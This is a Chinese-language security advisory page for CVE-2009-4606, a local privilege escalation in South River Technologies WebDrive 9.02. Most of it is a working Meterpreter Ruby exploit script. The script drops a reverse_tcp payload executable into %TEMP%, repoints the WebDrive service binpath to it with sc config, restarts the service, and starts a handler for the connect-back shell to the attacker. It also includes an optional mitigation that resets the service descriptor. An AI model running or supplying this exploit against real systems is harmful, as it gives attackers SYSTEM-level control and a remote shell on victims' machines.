WebDrive缺少安全描述符本地权限提升漏洞
来源:岁月联盟
时间:2010-01-30
South River Technologies WebDrive 9.02漏洞描述:
BUGTRAQ ID: 37955
CVE ID: CVE-2009-4606
WebDrive是Windows化的文件传输软件,可将FTP服务器设置为硬盘盘符。
WebDrive所安装的WebDrive服务没有设置安全描述符,本地用户可以通过stop命令终止服务、使用config命令修改binPath变量并执行任意命令,或通过start命令重启服务。<*参考
http://secunia.com/advisories/37083/
http://retrogod.altervista.org/9sg_south_river_priv.html
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有安全性,仅供安全研究与教学之用,风险自负!##
# South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.
#
# This module exploits a privilege escalation vulnerability in South River Technologies WebDrive.
# Due to an empty security descriptor, a local attacker can gain elevated privileges.
# Tested on South River Technologies WebDrive 9.02 build 2232 on Microsoft Windows XP SP3.
# Vulnerability mitigation featured.
#
# Credit:
# - Discovery - Nine:Situations:Group::bellick
# - Meterpreter script - Trancer
#
# References:
# - http://retrogod.altervista.org/9sg_south_river_priv.html
# - http://www.rec-sec.com/2010/01/26/srt-webdrive-privilege-escalation/
# - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4606
# - http://osvdb.org/show/osvdb/59080
#
# mtrancer[@]gmail.com
# http://www.rec-sec.com
##
#
# Options
#
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-m" => [ false, "Mitigate"],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening"]
)
#
# Default parameters
#
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
sname = ’WebDriveService’
pname = ’wdService.exe’
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.")
print_line(opts.usage)
raise Rex::Script::Completed
when "-m"
client.sys.process.get_processes().each do |m|
if ( m[’name’] == pname )
print_status("Found vulnerable process #{m[’name’]} with pid #{m[’pid’]}.")
# Set correct service security descriptor to mitigate the vulnerability
print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.")
client.sys.process.execute("cmd.exe /c sc sdset /"#{sname}/" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", nil, {’Hidden’ => ’true’})
end
end
raise Rex::Script::Completed
when "-r"
rhost = val
when "-p"
rport = val.to_i
end
end
client.sys.process.get_processes().each do |m|
if ( m[’name’] == pname )
print_status("Found vulnerable process #{m[’name’]} with pid #{m[’pid’]}.")
# Build out the exe payload.
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
pay.datastore[’LHOST’] = rhost
pay.datastore[’LPORT’] = rport
raw = pay.generate
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
# Place our newly created exe in %TEMP%
tempdir = client.fs.file.expand_path("%TEMP%")
tempexe = tempdir + "//" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
print_status("Sending EXE payload ’#{tempexe}’.")
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
# Stop the vulnerable service
print_status("Stopping service /"#{sname}/"...")
client.sys.process.execute("cmd.exe /c sc stop /"#{sname}/" ", nil, {’Hidden’ => ’true’})
# Set exe payload as service binpath
print_status("Setting /"#{sname}/" to #{tempexe}...")
client.sys.process.execute("cmd.exe /c sc config /"#{sname}/" binpath= #{tempexe}", nil, {’Hidden’ => ’true’})
sleep(1)
# Restart the service
print_status("Restarting the /"#{sname}/" service...")
client.sys.process.execute("cmd.exe /c sc start /"#{sname}/" ", nil, {’Hidden’ => ’true’})
# Our handler to recieve the callback.
handler = client.framework.exploits.create("multi/handler")
handler.datastore[’PAYLOAD’] = "windows/meterpreter/reverse_tcp"
handler.datastore[’LHOST’] = rhost
handler.datastore[’LPORT’] = rport
handler.datastore[’ExitOnSession’] = false
handler.exploit_simple(
’Payload’ => handler.datastore[’PAYLOAD’],
’RunAsJob’ => true
)
# Set service binpath back to normal
client.sys.process.execute("cmd.exe /c sc config /"#{sname}/" binpath= %ProgramFiles%//WebDrive//#{pname}", nil, {’Hidden’ => ’true’})
end
end安全建议:
厂商补丁:
South River Technologies
------------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.southrivertech.com/